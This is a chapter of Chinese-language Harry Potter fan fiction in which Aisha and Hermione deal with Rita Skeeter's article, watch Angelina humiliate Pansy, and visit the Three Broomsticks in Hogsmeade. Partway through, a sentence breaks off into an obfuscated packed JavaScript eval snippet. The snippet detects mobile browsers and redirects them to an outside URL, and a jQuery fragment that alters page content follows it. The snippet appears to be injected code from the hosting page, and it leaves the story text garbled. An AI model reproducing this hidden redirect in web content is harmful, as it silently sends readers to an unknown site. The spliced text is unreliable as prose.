99. 偶尔的清闲

在接下来的一段时间里,哈利的生活痛并快乐着。不光是他的飞行技术突飞猛进,就连帮助他成长的这些人也有了极大的蜕变。


“我觉得我现在够格进魁地奇队了!”罗恩说。


纳威挠了挠头,脸上还带着飞行后的红晕:“我从没想过自己能骑着扫帚做急转弯……现在好像没那么怕高了。”


金妮甩了甩火红的长发,眼中闪烁着兴奋的光芒:“要我说,明年格兰芬多队的选拔我赢定了!”


艾莎站在人群边缘,嘴角微微上扬。她注视着这些焕然一新的面孔,轻声自语:“看来特训的收获比预期要多……”


赫敏转头冲她一笑,“看来某位教练比霍琦夫人还会教人?”


晚风掠过草坪,带着泥土与青草的气息,轻轻掀起艾莎垂落的板栗色发丝。夕阳为她的长发镀上一层枫糖般的金红。微风拂过时,发梢跃起细碎的光点,在暮色中忽明忽暗。艾莎的指尖轻触她的肩膀,声音比晚风更温柔:“只要你飞得开心,我的辛苦就值得。”


要说赫敏最近有什么不开心的,还是有的——大约在十天前,丽塔·斯基特的文章像一颗炸弹般在霍格沃茨掀起轩然大波。接下来的一整天里,她和哈利无论走到哪里都能听到窃窃私语和意味深长的目光。


赫敏把报纸摔在格兰芬多公共休息室的桌上时,《预言家日报》边缘已经快被她捏烂了。


“初恋?!”她声音发颤,魔杖尖迸出几颗危险的火星,“这个满嘴谎言的家伙!”


哈利正疯狂抓着自己本就乱糟糟的头发:“我发誓我从来没——”


“我们都知道。”艾莎冷静地说,她难得出现在格兰芬多的公共休息室里,“这位……记者的瞎编功力属实厉害,和当年的洛哈特各有所长。”


罗恩突然发出怪笑:“说真的赫敏,‘美貌惊人’这个评价——嗷!”话没说完就被赫敏的《魔法史》和哈利的靠枕同时砸中脑袋。


礼堂里的气氛更糟。潘西·帕金森故意拦在赫敏面前,用整个斯莱特林长桌都能听见的声音说:“格兰杰‘美貌惊人’?丽塔·斯基特是拿金花鼠当评判标准吗?”


赫敏的魔杖刚抽出一半,艾莎已经挡在她前面。晨光透过高窗落在艾莎的头发,像镀了层锋利的金边。


“帕金森,”她声音轻柔得可怕,“你头上那个发饰真特别——是巨怪尾毛做的吗?和你气质很配。”


斯莱特林那边传来几声憋不住的笑。潘西脸色铁青地后退两步,却在撞上身后人时猛地僵住——


“哎哟,斯莱特林的公主连路都不会走了?”安吉利娜·约翰逊不知何时出现在她身后,她单手拎着击球棍,用顶端挑起潘西一缕头发:“这柔顺咒效果不错啊,下次教教我?”


“约翰逊!”潘西的脸由青转红:“关你什么事!”


“当然关我事,”安吉利娜咧嘴一笑,“看你吃瘪比训练有趣多了。”


周围格兰芬多已经憋笑到发抖。


“粗鲁的狮子,”潘西攥紧拳头,她怒视安吉利娜,却发现自己不得不抬头说话——这个认知让她更加恼火。“好端端的白皮肤不要,天天在太阳底下疯跑,现在黑得跟烤焦的南瓜饼似的,还好意思嚣张?我说不过那个赫奇帕奇,还收拾不了你?!”


安吉利娜随手将击球棒扛在肩上,这个动作让她的肱二头肌在晨光中勾勒出优美的线条。“总比某些天天窝在阴冷地窖里、苍白得像幽灵还沾沾自喜的小蛇强。”


她向前迈了一步,靴子在地板上发出沉稳的声响,“来吧,单挑。礼堂还是球场?”她突然压低声音,只有潘西能听到,“不过我建议选医务室近点的地方……考虑到你待会儿可能需要。”


潘西的耳尖瞬间变得通红,她猛地后退一步:“你——”她猛地跺脚,龙皮短靴在大理石地面上踩出清脆的“咔嗒”声。


“我什么?”安吉利娜无辜地眨眨眼,“只是担心你娇贵的斯莱特林身子骨经不起摔打。”


潘西的嘴唇颤抖起来,眼眶罕见地泛起水光。当德拉科试图拉她离开时,她泄愤般又跺了一脚,这次力道大得震倒了桌上的南瓜汁杯。“约翰逊!”她声音尖得破音,却倔强地扬着下巴,“我是不会放过你的——你给我等着!”


“随时恭候,小公主。不过……”安吉利娜冲她踉跄离去的背影吹了个口哨,“你确定是‘不放过’,而不是‘不想放’?”她的击球棒在肩头轻巧地转了个圈,顶端精准挑开潘西发间的银绿绸带。丝绸在空中划出弧线,被她一把攥住。“下次记得穿平底鞋——我真担心你把礼堂的地板跺坏了。”


整个礼堂瞬间寂静,接着爆发出掀翻屋顶的尖叫和口哨声。潘西的背影明显僵住了,然后以最快的速度冲出大门,把前来查看情况的费尔奇撞了个趔趄。


麦格教授在教师席上抿了一口茶:“我当年和波莫娜吵架时可比这文明多了。”斯普劳特教授认同地点了点头:“确实,你只是把我所有的盆栽都变成了刺猬。”


风波暂歇后,赫敏的指尖暗自卷着袍子边缘。晨光透过艾莎的睫毛,在她脸颊投下细碎的阴影,这个画面让赫敏突然希望丽塔·斯基特那些荒唐话里至少有一句是真的——可惜都是关于哈利的。


“谢谢。”她最终轻声说道,声音比想象中更加柔软。


艾莎突然转身,指尖轻轻托起赫敏的下巴。这个动作让赫敏差点忘记呼吸。


“听着,”艾莎的目光罕见地柔和下来,神态看起来十分认真,“你不是那种肤浅的惊艳,但你的好看……”她的拇指擦过赫敏颧骨,“是像古代魔文一样,越钻研越迷人的那种。”


赫敏的耳朵瞬间红得能滴出血来。她张了张嘴,却只发出一个模糊的气音。不远处传来罗恩被南瓜汁呛到的咳嗽声。


“而且,”艾莎突然凑近她耳边,“比起斯基特女士的胡言乱语,我更相信自己的判断。”


赫敏膝盖发软得几乎站不住,满脑子只剩下一个念头——梅林啊,丽塔·斯基特永远不知道她到底错过了什么真正的故事。


除了日常的飞行训练,艾莎四人也会经常泡在图书馆里,毕竟四年级的功课真的越来越多了。只是图书馆的氛围变得越发令人烦躁。威克多尔·克鲁姆几乎每天下午都会准时出现在靠窗的那个位置,而他的出现总会引来一群叽叽喳喳的女生。平斯夫人的脸色越来越难看,她的警告声几乎成了图书馆的背景音。


“我真不明白他为什么非要来这里,”赫敏皱着眉头,羽毛笔在羊皮纸上重重地划了一道,“霍格沃茨明明有那么多空教室!”


“因为他是个魁地奇天才!”罗恩眼睛发亮,完全没注意到赫敏的不耐烦,“他真的是太帅了!”


艾莎正埋头翻阅一本厚重的《古代魔文解析大全》,闻言抬起头,“韦斯莱,收收你那即将下坠的口水。”


就在这时,图书馆的门又被推开,一群斯莱特林的女生簇拥着走了进来,目光直勾勾地盯着克鲁姆的方向。平斯夫人立刻从书架后闪现,魔杖指着她们:“要么安静,要么出去!”


赫敏深吸一口气,努力集中精神继续写她的魔咒学论文,但周围不断传来的嗡嗡声和克鲁姆偶尔的低沉嗓音让她难以专注。她烦躁地合上书本:“我们换个地方吧。”


“去有求必应屋?”艾莎提议,“那里至少没人打扰。”


“好主意。”赫敏合上书,站起身来。


罗恩恋恋不舍地回头看了一眼克鲁姆:“可万一他今天要练习什么新战术呢?”


“罗恩!”哈利终于忍不住了,“如果你那么喜欢他,就应该直接过去要签名!”


罗恩缩了缩脖子,讪讪地跟上。


在第一个项目开始前的那个星期六,学校批准三年级以上的学生到霍格莫德村游玩。罗恩对哈利说,到城堡外散散心会让他不那么紧张——不过哈利其实巴不得出去透口气,根本用不着他劝说。将近三周的高强度飞行训练让他觉得,屁股都快在扫帚上磨出火星来了。


霍格莫德的街道上铺着薄薄的初雪,靴子踩上去发出细碎的咯吱声。艾莎把脸埋进围巾里,呼出的白气在睫毛上结了一层细霜。赫敏走在旁边,不时偷瞄艾莎被冻得发红的鼻尖。


“看那边!”罗恩突然拽住哈利的袖子,指着三把扫帚的橱窗,“那个戴金框眼镜的女人是不是——”


哈利猛地低头,额头差点撞上罗恩的肩膀。透过酒馆雾蒙蒙的玻璃,只见靠窗的座位空空如也——丽塔·斯基特和她的摄影师刚刚离开不久,桌上还散落着几片亮闪闪的羽毛笔形状的包装纸。


“我们换家店?”赫敏小声提议,手指默默绞紧了艾莎的围巾流苏。


罗恩突然挺直腰板,他今年个头蹿高了不少:“怕什么,人都走了。”


四个身影旋风般冲进了三把扫帚。门铃叮当作响,罗斯默塔夫人正踮脚往架子上摆蜂蜜酒,闻声回头笑道:“梅林啊,韦斯莱家的小儿子现在和我的酒柜差不多高了!”


暖烘烘的空气中飘着肉桂和焦糖的甜香,罗恩眼巴巴地盯着邻桌冒泡的黄油啤酒:“我们真的不喝点吗?就一杯——”


“不可以。”艾莎斩钉截铁地说,顺手把试图偷拿菜单的哈利拽回来,“除了你,我们三个都不算高。”她指了指赫敏的头顶,又比划自己发顶与门框的距离,“酒精会抑制生长激素分泌。”


哈利张开的嘴又默默闭上,赫敏憋着笑补充:“等成年了随便喝,反正也没多少年了。”她突然意识到什么,耳尖突然变红——按艾莎的逻辑,她们未来还会一起喝很多次酒。


没过多久,四杯冒着气泡的樱桃糖浆苏打水立刻出现在他们面前。杯壁上凝结的水珠在烛光下像红宝石般闪烁,吸管顶端装饰着会变换颜色的迷你星星。


“少糖配方,”艾莎把其中一杯推到赫敏面前,“加了微量薄荷精华,能提神又不影响味觉。”


赫敏的指尖碰到杯壁时,不小心碰到了艾莎的手指。那触感像被施了轻微的静电咒,让赫敏差点打翻饮料。她急忙低头啜饮,酸甜的液体滑过喉咙,确实比平常的樱桃苏打更加清爽。


“说真的,”罗恩搅动着吸管,星星变成了格


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957936|171312||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


兰芬多的金红色,“你们不觉得克鲁姆在图书馆的样子特别——”


“特别烦人?”赫敏打断他,声音比平时高了两度,“他每次翻书的声音都像在撕羊皮纸!”


哈利突然在桌子底下踢了罗恩一脚,罗恩识相地闭上嘴,转而研究起杯子里上下浮动的樱桃。


酒馆里人声鼎沸,厄尼·麦克米兰和汉娜·艾博正在邻桌交换巧克力蛙画片。“又一个邓布利多,”厄尼失望地说,“这周第三个了。”


“我要这个!”汉娜突然伸手抢过一张画片,“天啊,是格恩多琳·奥利姆!她可是——”


“历史上最厉害的治疗师之一,”赫敏条件反射般接话,然后立刻意识到自己的失态,脸颊泛起和饮料相同的粉红色。


艾莎的嘴角微微上扬,她伸手将赫敏耳边一缕不听话的卷发别到后面,“你连巧克力蛙画片的知识储备都这么惊人。”


赫敏感到耳朵像被施了加热咒,她敢肯定现在自己的耳尖红得像罗恩的头发。正当她想说些什么掩饰自己的慌乱时,酒馆的门再次被推开,一阵寒风卷着雪花涌入。


秋·张和她的拉文克劳朋友们涌了进来,她们的笑声像银铃般清脆。秋看到哈利,友好地挥了挥手,哈利僵硬地点头回应,差点碰倒自己的饮料。


“放松点,哈利,”艾莎低声说,“你的紧张程度快赶上面对数条火龙了。”


就在这时,一个巨大的身影挡住了门口的光线。海格弯着腰挤进酒馆,他身后跟着疯眼汉穆迪,那只魔法眼睛正疯狂地旋转着,扫视整个房间。


“梅林的胡子啊,”罗恩小声嘀咕,“他们俩怎么凑一块儿了?”


海格的目光锁定了哈利这桌,他大步走来,厚实的靴子在地板上发出闷响。穆迪紧随其后,他的木腿敲击地面的节奏像某种不祥的鼓点。


“哈利!”海格的声音压得很低,但依然震得桌上的杯子轻轻颤动,“今天半夜十二点到我的小屋来找我。穿上隐形衣。”


哈利瞪大眼睛:“可是——”


“别问问题,”穆迪粗声打断,他的魔法眼睛突然转向艾莎,“你们几个小家伙最好别到处乱跑,最近禁林不太平。”说着他重重拍了拍海格的背,“走吧鲁伯,我们的火焰威士忌要凉了。”


海格被推着往吧台方向走,却还扭着脖子对哈利挤眼睛。他竖起毛茸茸的大拇指,那表情既兴奋又紧张,就像他第一次给哈利看诺伯时那样。罗斯默塔夫人已经端着两个冒着蓝焰的酒杯在等他们,穆迪的魔眼仍在三百六十度转动着监视整个酒馆。


“这太可疑了,”赫敏立刻压低声音,“三更半夜去禁林边上?绝对违反了至少三条校规!”


艾莎却若有所思地搅动着饮料:“如果他俩都参与其中,可能是邓布利多授意的。”


罗恩的眼睛亮了起来:“说不定和第一个项目有关!哈利,你必须去!”


哈利感到胃里一阵翻腾,既因为紧张,也因为面前这杯气泡水突然变得难以下咽。他抬头看向窗外,雪花正密密地飘落,禁林的方向已经笼罩在灰蒙蒙的暮色中。


“我会去的。”他最终点了点头。


酒馆里的喧嚣继续围绕着他们。


秋·张那桌爆发出一阵笑声,厄尼正高举着他新得到的摩根勒菲画片,得意洋洋地宣布:“这可是限量版!”——话音未落,罗斯默塔夫人笑吟吟地挥动魔杖,一碟碟窃窃私语糖霜卷飘向每张木桌。


螺旋状的饼干泛着油润光泽,刚触到桌面便轻轻震颤起来。秋好奇地凑近,其中一块突然用厄尼的声调抑扬顿挫地重复:“这可是限量版!”逗得众人哄堂大笑。厄尼涨红了脸想去抓它,糖霜卷却“咔嚓”一声裂成细碎的光点,只留下蜂蜜与覆盆子的余香在空气里跳跃。


但艾莎四人已经无心享受这些。当赫敏无意中与艾莎四目相对时,她发现对方的眼睛里闪烁着自己读不懂的光芒。那目光让她想起图书馆里那些被施了保护咒的古老书籍——表面平静,内里却蕴含着强大的魔力。


“我们该回去了,”艾莎突然说,她的视线从赫敏脸上移开,“天黑前得赶回城堡。”


外面的雪下得更大了,霍格莫德的主街已经铺上一层白色地毯。赫敏踩到一个隐蔽的冰面,脚下一滑,艾莎反应极快地揽住她的腰。


“小心,”艾莎的气息拂过赫敏冻红的耳尖,“我可不想你比赛前受伤。”


赫敏的心跳快得像金色飞贼的翅膀,她不确定这是因为险些摔倒,还是因为艾莎的手仍然环在她腰间。罗恩和哈利已经走到前面去了,他们的背影在雪幕中若隐若现。


“艾莎,”赫敏鼓起勇气开口,“关于丽塔·斯基特那篇文章……”


“还在介意那个?”艾莎注视着赫敏,“那不重要,”她轻声说,“重要的是……”她突然伸手拂去赫敏头发上的雪花,动作轻柔得像对待某种珍稀宝藏,“我知道……所有真相。”


那一刻,赫敏突然明白了为什么艾莎坚持要少糖的饮料——因为此刻她心中涌动的甜蜜,已经足够抵消世界上所有的苦涩。